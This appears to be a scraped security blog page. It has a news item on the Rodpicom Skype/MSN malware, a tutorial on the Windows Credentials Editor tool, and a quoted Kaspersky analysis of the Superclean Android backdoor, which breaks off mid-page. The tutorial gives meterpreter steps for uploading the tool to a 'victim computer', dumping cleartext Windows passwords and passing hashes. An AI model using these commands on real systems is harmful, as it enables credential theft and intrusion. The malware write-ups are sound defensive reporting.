<div dir="ltr" style="text-align: left;" trbidi="on"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><br /><div style="border: 0px; font: inherit; line-height: 23px; margin-bottom: 5px; padding: 0px 0px 10px; text-align: -webkit-auto; vertical-align: baseline;">      </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOhYiSrUVJyJPeyNN5PIw5f1MzBBmy2SuPZvpQGMnLCQzdAztLG7uRZHMBQOm0OB9roVkRVFCc3IIdlW4W5mzEsI6z4Ub17LzCUehIllZZVEJLUxy7d5KuhcgzfMUifY8XNvluJpdPZcU/s1600/xl_MSN_becomes_Skype_624.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Arial, Helvetica, sans-serif;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOhYiSrUVJyJPeyNN5PIw5f1MzBBmy2SuPZvpQGMnLCQzdAztLG7uRZHMBQOm0OB9roVkRVFCc3IIdlW4W5mzEsI6z4Ub17LzCUehIllZZVEJLUxy7d5KuhcgzfMUifY8XNvluJpdPZcU/s400/xl_MSN_becomes_Skype_624.jpg" width="400" /></span></a></div><div class="MsoNormal" style="color: #37424a;">      </div><div class="MsoNormalCxSpFirst" style="margin-top: 1pt;"><span style="color: #2a3339;"><span style="font-family: inherit;">The hacking geniuses have put all forms of communication at test till now. From infiltrating PCs through Android devices to defaming the most secure websites, hackers have done it all. But wait! They aren't just going to halt right here. You wish! They are taking their under-the-sleeve tactics to a whole new level of online-privacy invasion.</span></span></div><div class="MsoNormalCxSpMiddle" style="margin-top: 1pt;"><span style="color: #2a3339;"><span style="font-family: inherit;">Hackers are putting all their concentration into gaining access to millions of internet users through traces of a new malware which spreads via messaging applications such as Skype and MSN Messenger. Hence, everyone who uses the mentioned programs is at stake here and we all know that that puts half the world's 'PC population' at risk of catching this virus that is spreading rapidly in the world of Internet.</span></span><br /><span style="color: #2a3339;"><span style="font-family: inherit;"></span></span><br /><a name="more"></a></div><div class="MsoNormalCxSpMiddle" style="margin-top: 1pt;"><span style="font-family: inherit;"><span style="color: #2a3339;">It has been <b><span style="color: #0000e3; text-decoration: none; text-underline: none;">reported</span></b>by FortiGuard Labs that the malware - named W32/Rodpicom.A - works by messaging a link to the victim, this link leads to a malicious site with downloadable content. As soon as the target machine is infected, it sifts through it for messaging applications such as Skype and MSN Messenger. As soon as the user logs into either one of the programs a malware link is sent and spread.</span><span style="color: #2a3339;"><o:p></o:p></span></span></div><div class="MsoNormalCxSpMiddle" style="margin-top: 1pt;"><br /></div><div class="MsoNormalCxSpMiddle" style="margin: 1pt 0cm 6pt;"><span style="font-family: inherit;"><b><span style="color: #20262b;">According to FortiGuard Labs researcher Raul Alvarez:</span></b><span style="color: #2a3339;"><o:p></o:p></span></span></div><blockquote class="tr_bq"><span style="color: #2a3339;"><i><span style="font-family: inherit;">"The malware employs a slew of stealth tactics — including an exception handling technique that generates its own error — to dodge analysis and make detection a lot more challenging. The evasive malware also relies on an anti-emulator that attacks the heuristic-scanning capabilities in antivirus software and enables its code to jump around several hundred times. The API function names are also translated as binary numbers, which are more challenging to decipher. The malware leverages its own encryption algorithm to further obfuscate malicious code."</span></i></span></blockquote><div class="MsoNormalCxSpMiddle" style="margin: 1pt 0cm 6pt;"><span style="color: #20262b;"><span style="font-family: inherit;"><br /></span></span></div><div class="MsoNormalCxSpMiddle" style="margin: 1pt 0cm 6pt;"><span style="font-family: inherit;"><span style="color: #20262b;">But that's not all. Rodpicom also majors in linguistics. It basically scans the infected PC's country code consequently determining the language of the Windows OS installed on it. By doing so, it customises the message sent to the victim's Skype contact list. </span>Stefanie Hoffman from FortiBlog gives us an example,<span style="color: #414141;"> "</span><span style="color: #20262b;"> If the infected computer is sourced to the U.S., for example, the malicious link will send a message “lol is this your new profile pic? http:// goo.gl/[removed]”. However, if the victim computer is from Argentina or any other Latin American country, the victim will receive a similar message in Spanish or Portuguese."</span></span></div><div class="MsoNormalCxSpMiddle" style="margin: 1pt 0cm 6pt;"><span style="color: #20262b;"><span style="font-family: inherit;">As soonas the user clicks on the link a new strain of malware, known as Dorkbot, is downloaded. It technically downloads more malicious codes, contacts the Command and Control server, spams and downloads updates versions of Rodpicom; in short, all the activities involved in the world of cybercrime.</span></span></div><div class="MsoNormalCxSpMiddle" style="margin: 1pt 0cm 6pt;"><span style="color: #20262b;"><span style="font-family: inherit;">Hacking tactics have evolved over the years, to deceive even the most intelligent of us creatures who keep all the possible access points into their computers and lives locked and secured. But, we have learned, through many many mistakes and reality-checks that there is always a way in and hackers will find it. This has lead to Network Security companies to work harder to make their customers feel safe and the hackers to exploit each vulnerability possible and design the most sophisticated malwares.</span></span></div><div class="MsoNormalCxSpMiddle" style="margin: 1pt 0cm 6pt;"><span style="font-family: inherit;"><span style="color: #20262b;">A few things aren't as complicated as we turn them out to be. The best way to keep yourself safe from becoming a victim of this malware is to resist clicking on any links that have been sent to you on Skype or MSN Messenger.</span><span style="color: #2a3339;"><o:p></o:p></span></span></div><div class="MsoNormalCxSpMiddle" style="margin: 1pt 0cm 6pt;"><span style="font-family: inherit;"><span style="color: #20262b;">Cheers!</span></span></div><div class="MsoNormal" style="margin-top: 1pt;"><span style="font-family: inherit;"><b><span style="color: #1d1d1d;">About The Author</span></b><span style="color: #2a3339;"><o:p></o:p></span></span></div><div class="MsoNormal" style="margin-top: 1pt;"><span style="color: #1d1d1d;"><span style="font-family: inherit;">This article is written by Sindhia Javed Junejo. She is one of the core members of RHA team.</span></span></div></div>

Chat Malware - Skype and MSN Messenger Affected

The hacking geniuses have put all forms of communication at test till now. From infiltrating PCs through Android devices to defa...

+ Read more »

How to get windows passwords in plain text?

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Windows Credentials Editor (WCE) is a security tool that allows to list Windows logon sessions and add, change, list and delete associated credentials (e.g.: LM/NT hashes, Kerberos tickets and cleartext passwords).<br /><br />The tool allows users to:</span></span></span></div><ul><li><div style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Perform  Pass-the-Hash on Windows</span></span></span></div></li><li><div style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">'Steal'  NTLM credentials from memory (with and <b>without</b> code  injection)</span></span></span></div></li><li><div style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">'Steal'  Kerberos Tickets from Windows machines</span></span></span></div></li><li><div style="line-height: 0.19in; margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Use  the 'stolen' kerberos Tickets on other Windows or Unix machines to  gain access to systems and services</span></span></span></div></li><li><div style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Dump  cleartext passwords stored by Windows authentication packages</span></span></span></div></li></ul><div style="line-height: 0.19in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">WCE is a security tool widely used by security professionals to assess the security of Windows networks via Penetration Testing.</span></span></span></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">After hack remote computer upload wce to victim computer using metasploit</span></span></span></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(1)Type following command in meterpreter session.</span></span></span></div><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>Upload /pentest/passwords/wce/wce.exe .</b></span></span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(2)Now type <b>shell</b>to get cmd of victim pc</span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(3)Type <b>wce.exe -w</b>to get password in clear text</span></span><br /><br /><a name="more"></a><br /><h3 style="text-align: left;"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">List NTLM credentials in memory?</span></h3><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">By default, WCE lists NTLM credentials in memory, no need to specify any options. </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">For example: </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">C:\Users\test>wce.exe</span></span><br /><br /><h3 style="text-align: left;"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">How to Change my current NTLM credentials?</span></h3><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">wce.exe -s <username>:<domain>:<lmhash>:<nthash> </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">For example: </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 </span></span><br /><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">Changing NTLM credentials of current logon session (00024E1Bh) to:</span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Username: testuser </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">domain: amplialabs </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">LMHash: 01FC5A6BE7BC6929AAD3B435B51404EE </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">NTHash: 0CB6948805F797BF2A82807973B89537 </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">NTLM credentials successfully changed!</span></span><br /><br /><br /><br /><h3 style="text-align: left;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">How to Create a new logon session and launch a program with new NTLM credentials? </span></span></h3><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c <program> </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">For example: </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 -c cmd.exe </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span> <br /><h3 style="text-align: left;"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">How to generate NTLM hashes with WCE? </span></h3><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">wce.exe -g <cleartext password> </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">For example: </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">C:\Users\test>wce.exe -g mypassword </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Use -h for help. </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Password: mypassword </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Hashes: 74AC99CA40DED420DC1A73E6CEA67EC5:A991AE45AA987A1A48C8BDC1209FF0E7 </span></span><br /><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span><span style="font-family: Bitstream Charter, serif; font-size: medium;">If you want to know more about how its work , Download P.D.F. file from Below</span><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">.</span><br /><span style="font-family: 'Bitstream Charter', serif; font-size: medium;"><a href="http://www.ampliasecurity.com/research/WCE_Internals_RootedCon2011_ampliasecurity.pdf" target="_blank">(1)P.D.F -1</a></span><br /><span style="font-family: 'Bitstream Charter', serif; font-size: medium;"><a href="http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf" target="_blank">(2)P.D.F.-2</a></span><br /><br /><a href="http://tipstrickshack.blogspot.com/2013/03/get-clear-text-credentials-of-windows.html" target="_blank"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">If you only need clear text password not logon sessions and any other</span></a><br /><a href="http://tipstrickshack.blogspot.com/2013/03/get-clear-text-credentials-of-windows.html" target="_blank"><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">you can use mimikatz to get clear text password.</span></a><br /><br /><br /></div>

How to get windows passwords in plain text?

Windows Credentials Editor (WCE) is a security tool that allows to list Windows logon sessions and add, change, list and delete associated c...

+ Read more »

Android Malware That Infiltrates Your PC

<div dir="ltr" style="text-align: left;" trbidi="on">There has been a rise in the demand and purchase of Android-based devices. Typically, the reason is the easiness of use, accessibility and cost. Inexpensive Android smartphones have been taking over much of the market since the OS was first introduced and people who purchase low-cost Android phones look for ways to speed up their devices. This leads to them trusting third-party applications on Play Store. Where some of these apps are legit, most of them happen to be malicious and only fake the process of cleaning up the system. An app with the likes of the above example has recently been discovered and <a href="http://www.securelist.com/en/blog/805/Mobile_attacks" rel="no follow" target="_blank"><b>reported</b></a> by Kaspersky Lab.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHSlm1tRaLchbuKQCMSjd5S5Y_Z2zJwIGauP_ldnoPEItyzp4sr8bZ4C3_tGaVajBhk5TnhYvQ-k_RF2FxAaYqCOifPyHU0ThJUxKqhL1oKNcy7OPKio-EOc1p78lwV_OMXThocl1Dnjw/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHSlm1tRaLchbuKQCMSjd5S5Y_Z2zJwIGauP_ldnoPEItyzp4sr8bZ4C3_tGaVajBhk5TnhYvQ-k_RF2FxAaYqCOifPyHU0ThJUxKqhL1oKNcy7OPKio-EOc1p78lwV_OMXThocl1Dnjw/s400/1.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>The app, Superclean, basically spreads from your Android smartphone to your PC and can be found on the Play Store. Ironically, it has a rating of 4.5 on the Play Store which is not bad for a malware.<br /><br /><a name="more"></a><br />Another app that is identical to Superclean is DroidCleaner.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2tIcXTrs7tNedZxbi65_3jWDft0EqR3vS2ac170IPaDe2Fnl3XZ26MEGag4eOSAGJYnd2Y8dhPLu3KbN8uAAcF54bfaqEznq07Rd35Wgro-l88Gx93T2T5BnfroZu3KJ6-Jty1cqPZdU/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2tIcXTrs7tNedZxbi65_3jWDft0EqR3vS2ac170IPaDe2Fnl3XZ26MEGag4eOSAGJYnd2Y8dhPLu3KbN8uAAcF54bfaqEznq07Rd35Wgro-l88Gx93T2T5BnfroZu3KJ6-Jty1cqPZdU/s400/2.png" width="400" /></a></div><br /><br />If you launch these apps, they will appear to show you the details of the services running on your smartphone. The interface is not to-die-for and unimpressive. It then restarts them.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje6GJTCWRHu8J1fsP7FFwYbVM4H3KXWtL-f1aZEYBocxBdseO3VaH-HGApt3HvUTqvIqPuV8F7gcJ8YS460Xci9iNEa092NXI4BM7qXZC6SnipBE0GuKprsb2U5YYgW4v7a_23JvG8_dE/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje6GJTCWRHu8J1fsP7FFwYbVM4H3KXWtL-f1aZEYBocxBdseO3VaH-HGApt3HvUTqvIqPuV8F7gcJ8YS460Xci9iNEa092NXI4BM7qXZC6SnipBE0GuKprsb2U5YYgW4v7a_23JvG8_dE/s400/3.jpg" width="240" /></a></div><br /><br />At this moment, the app begins to "jiggy with it",<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4-CViWZh7waNJ7nDo7RSkxSRkSYRSlvf0ZGU-hXaL-yr4wN6MSe5oW928gyQ1ZbQBXd_pUP7KykIRTSPjpaNyLlkRSyE52VjB0bS32-LA3uZs_tJiAr2lkUtE_CN_VQQBn42DcR9OR9o/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4-CViWZh7waNJ7nDo7RSkxSRkSYRSlvf0ZGU-hXaL-yr4wN6MSe5oW928gyQ1ZbQBXd_pUP7KykIRTSPjpaNyLlkRSyE52VjB0bS32-LA3uZs_tJiAr2lkUtE_CN_VQQBn42DcR9OR9o/s640/4.png" width="640" /></a></div><br />and performs a number of commands executing the following code:<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_tt9wMvjotkWW_4KveRIwOHZ1pgntNoTaZqqcbNs2pGCRw7oEeo8ihf28jHC5wM3PpU3_xnFB3_uv1NPjjmpQC9aQR7pOOWxJDMxLQPMjhqhJkaJrV9YUL3y12fZTMYXFNLwdUj0a-wY/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="142" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_tt9wMvjotkWW_4KveRIwOHZ1pgntNoTaZqqcbNs2pGCRw7oEeo8ihf28jHC5wM3PpU3_xnFB3_uv1NPjjmpQC9aQR7pOOWxJDMxLQPMjhqhJkaJrV9YUL3y12fZTMYXFNLwdUj0a-wY/s400/5.png" width="400" /></a></div><br />The name of the method used is Tools.UsbAutoAttack.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEW6cK0NQHbIanD23p6WrKHyCStdErusuxG9G80zJjgByqO9I4KGZb6npY8gmRcNtU5LwtlU7k5ctkVpeo9tbWJmgDgkatgxvledE1R5sAbN2I4DMjiasJubWH4zMQN_Ue0H1-7Z2vf70/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="71" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEW6cK0NQHbIanD23p6WrKHyCStdErusuxG9G80zJjgByqO9I4KGZb6npY8gmRcNtU5LwtlU7k5ctkVpeo9tbWJmgDgkatgxvledE1R5sAbN2I4DMjiasJubWH4zMQN_Ue0H1-7Z2vf70/s400/6.png" width="400" /></a></div><br />Three files are downloaded executing the above code from a URL. These files are:<br /><br /><i>autorun.inf</i><br /><i>folder.ico</i><br /><i>svchosts.exe</i><br /><br />To determine where the application saves these files we will use the DownloadFile method.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBQfXJjMbmuwmmh0-BPVbWFLUg7eNwc_EoVG7-2Z-7w6SRjhHGNuzn2gbTZd1zdih4BZQNil8iDSPNuLuYUCx4ikQnbsOs0OJGLM8Eto3eyqB9kw76BzLIYEaKLguIN8S2gJ9ayqdT4b4/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="148" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBQfXJjMbmuwmmh0-BPVbWFLUg7eNwc_EoVG7-2Z-7w6SRjhHGNuzn2gbTZd1zdih4BZQNil8iDSPNuLuYUCx4ikQnbsOs0OJGLM8Eto3eyqB9kw76BzLIYEaKLguIN8S2gJ9ayqdT4b4/s400/7.png" width="400" /></a></div><br />These files are placed in the root directory of the SD card due to the master application's code. Hence, when the affected smartphone is connected to the PC via the USB cable in the USB drive emulation mode, it will automatically execute svchosts.exe file which is actually Backdoor.MSIL.Ssucl.a. This file  isn't particular of interest, however, it includes a freely distributed library NAUDIO (http://naudio.codeplex.com). NAUDIO constitutes most part of the application.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih59eOjeG6c0sptPKauuHWnFjzJ8XuFEdmVt_0JBwmHtM2wQElf0eNHQ-1sVwXgsXPdtX0jcjCcFdvSWbA1mcFSR49FQqQ7E0Wj2NYSpW9L5GnNwH5qBzQLxpkBI1XHzBWtK4jfffV6PU/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih59eOjeG6c0sptPKauuHWnFjzJ8XuFEdmVt_0JBwmHtM2wQElf0eNHQ-1sVwXgsXPdtX0jcjCcFdvSWbA1mcFSR49FQqQ7E0Wj2NYSpW9L5GnNwH5qBzQLxpkBI1XHzBWtK4jfffV6PU/s640/8.png" width="380" /></a></div><br />Let's learn why this specific command was used for this application. <b>Victor Chebyshev</b>, an expert at the Kaspersky Lab has decided to explain it to us in detail:<br /><br /><br /><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">First of all, have a look at the constructor of the frmMain form:</span></div><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em; text-align: center;"><a href="http://www.securelist.com/en/blog/805/images/pictures/klblog/821.png" style="background-color: white; color: #3751ab; text-decoration: none;" target="_blank"><img alt="" border="0" src="http://www.securelist.com/en/blog/805/images/pictures/klblog/822.png" style="border: 0px; margin: 0px;" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiUgAoY1QbR9ecFGixqsrP-TILPFT3nhkilDbb3JZJDxuc-V3aSY8YhSa3-1mbvzSGxr9VWAYaiuCKpxLxmJLKaQqKQgOiPhLumzRtnNxeaRcoRLxNVC2uPXvXikYX01OMQ12V5MkaNsU/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="81" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiUgAoY1QbR9ecFGixqsrP-TILPFT3nhkilDbb3JZJDxuc-V3aSY8YhSa3-1mbvzSGxr9VWAYaiuCKpxLxmJLKaQqKQgOiPhLumzRtnNxeaRcoRLxNVC2uPXvXikYX01OMQ12V5MkaNsU/s400/9.png" width="400" /></a></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;"><br /></span></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">As you can see, a “Data Received” event causes the event handler to call the con_DataReceived function.</span></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">The function has rather extensive capabilities and is designed to handle a variety of commands sent by the master, but right now we are interested in the way a specific command is handled:</span></div><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em; text-align: center;"><span style="background-color: white;"><img alt="" border="1" src="http://www.securelist.com/en/blog/805/images/pictures/klblog/823.png" style="border: 0px; margin: 0px;" title="" /></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8O3kaQNsEkFkX05MVXMR88MO4nCLgHutuL_1yy4YdMagdwyYMrXG9RKtS6w-KLt7avA8RbbR7eJbpzvb9jGWG15KfGSLdJcgpBy_1Mq9yOvVIe56piSdXMBfjZogddjfXBXehwm2YESk/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8O3kaQNsEkFkX05MVXMR88MO4nCLgHutuL_1yy4YdMagdwyYMrXG9RKtS6w-KLt7avA8RbbR7eJbpzvb9jGWG15KfGSLdJcgpBy_1Mq9yOvVIe56piSdXMBfjZogddjfXBXehwm2YESk/s400/10.png" width="400" /></a></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;"><br /></span></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">It can be seen in this piece of code that the RECORD_STR command causes the StartRec function to be called:</span></div><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em; text-align: center;"><a href="http://www.securelist.com/en/blog/805/images/pictures/klblog/824.png" style="background-color: white; color: #3751ab; text-decoration: none;" target="_blank"><img alt="" border="0" src="http://www.securelist.com/en/blog/805/images/pictures/klblog/825.png" style="border: 0px; margin: 0px;" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirUO41Iww66Z_i3ezgHGoXDXaHi8XZIlV7CMpCmhgO7WObg4jSxyVEimJRSP0FXi7Xs2yO8L9V4QRZmNjEROcASNpdoKbwBq1GrNVFV1oJerEFogQQIdnwOROT3UYK-2l6RKzwDVesWtI/s1600/11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirUO41Iww66Z_i3ezgHGoXDXaHi8XZIlV7CMpCmhgO7WObg4jSxyVEimJRSP0FXi7Xs2yO8L9V4QRZmNjEROcASNpdoKbwBq1GrNVFV1oJerEFogQQIdnwOROT3UYK-2l6RKzwDVesWtI/s400/11.png" width="400" /></a></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;"><br /></span></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">Next, note <b>BeginMonitoring</b> and <b>BeginRecording</b>.</span></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">In the former case, monitoring of the default audio recording device is configured. The value of the recordingDevice variable is set to zero for the purpose.</span></div><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em; text-align: center;"><a href="http://www.securelist.com/en/blog/805/images/pictures/klblog/826.png" style="background-color: white; color: #3751ab; text-decoration: none;" target="_blank"><img alt="" border="0" src="http://www.securelist.com/en/blog/805/images/pictures/klblog/827.png" style="border: 0px; margin: 0px;" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiEFvBBcj0HOt5UC70gUActYXsJVYxA_X57TnTOwFP6uzktNHelqomRPzhvXKeElQH8L_xrp8SQ3HyaHmyaCf4S7SAbRKBVSMDKFhW0SqhkD57Xq50X0R-K-YqnCLXI0lUM1Sq6jw3V88/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="97" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiEFvBBcj0HOt5UC70gUActYXsJVYxA_X57TnTOwFP6uzktNHelqomRPzhvXKeElQH8L_xrp8SQ3HyaHmyaCf4S7SAbRKBVSMDKFhW0SqhkD57Xq50X0R-K-YqnCLXI0lUM1Sq6jw3V88/s400/12.png" width="400" /></a></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;"><br /></span></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">In the former case, monitoring of the default audio recording device is configured. The value of the recordingDevice variable is set to zero for the purpose:</span></div><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em; text-align: center;"><span style="background-color: white;"><img alt="" border="1" src="http://www.securelist.com/en/blog/805/images/pictures/klblog/828.png" style="border: 0px; margin: 0px;" title="" /></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE-39klgFbY6oUWtMYE28N-K0ktYZobCD_MpBjT7lLS_BoTRUePaWPAotvdXxyao5c-43F1GyMmD1YQQkeU8qkyL_aqp-PSbezokDvbv8OiwctEYTyeHWkPtsLKhIVUeTff8U0p0DU9RI/s1600/13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE-39klgFbY6oUWtMYE28N-K0ktYZobCD_MpBjT7lLS_BoTRUePaWPAotvdXxyao5c-43F1GyMmD1YQQkeU8qkyL_aqp-PSbezokDvbv8OiwctEYTyeHWkPtsLKhIVUeTff8U0p0DU9RI/s400/13.png" width="358" /></a></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;"><br /></span></div><div style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em;"><span style="background-color: white;">As soon as the microphone detects sound, the application immediately begins to write audio data to a file using <b>BeginRecording</b>:</span></div><div class="c" style="font-family: arial; font-size: 14px; line-height: 19px; margin-bottom: 1em; text-align: center;"><a href="http://www.securelist.com/en/blog/805/images/pictures/klblog/829.png" style="background-color: white; color: #3751ab; text-decoration: none;" target="_blank"><img alt="" border="0" src="http://www.securelist.com/en/blog/805/images/pictures/klblog/830.png" style="border: 0px; margin: 0px;" /></a></div><div class="separator" style="clear: both; text-align: center;"><a 